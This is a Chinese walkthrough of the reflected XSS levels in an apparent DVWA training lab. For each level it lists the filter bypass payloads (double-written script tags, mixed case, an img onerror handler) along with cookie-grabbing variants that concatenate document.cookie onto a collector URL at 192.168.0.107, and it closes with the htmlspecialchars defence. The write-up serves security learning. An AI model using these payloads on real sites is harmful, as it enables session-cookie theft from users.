XSS(Reflected)
文章目录
Low等级
查看源码
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
输入<script>alert(/左小舟/)</script>
,成功弹框
获取cookie
<script>alert( 'http://192.168.0.107/cookie/?cookie='+document.cookie)</script>
,弹窗成功
Medium等级
查看源码
使用str_replace函数将输入中的
利用双写绕过
<sc<script>ript>alert(/zzz/)</script>
,成功弹框
获取cookie
<sc<script>ript>alert('zwy-http:// 192.168.0.107/cookie/?cookie='+document.cookie)</script>
,成功弹框
大小写混淆绕过
<ScRipt>alert(/zzz/)</script>
,成功弹框
获取cookie
<ScRipt>alert('http:// 192.168.0.107/cookie/?cookie='+document.cookie)</script>
,成功弹框
High等级
查看源码
preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
输入<img src=1 onerror=alert(/zzz/)>
,成功弹框
输入<img src=1 onerror=alert('http://192.168.0.107/cookie/?cookie='+document.cookie)>
,成功弹框
Impossible等级
查看源码
可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素。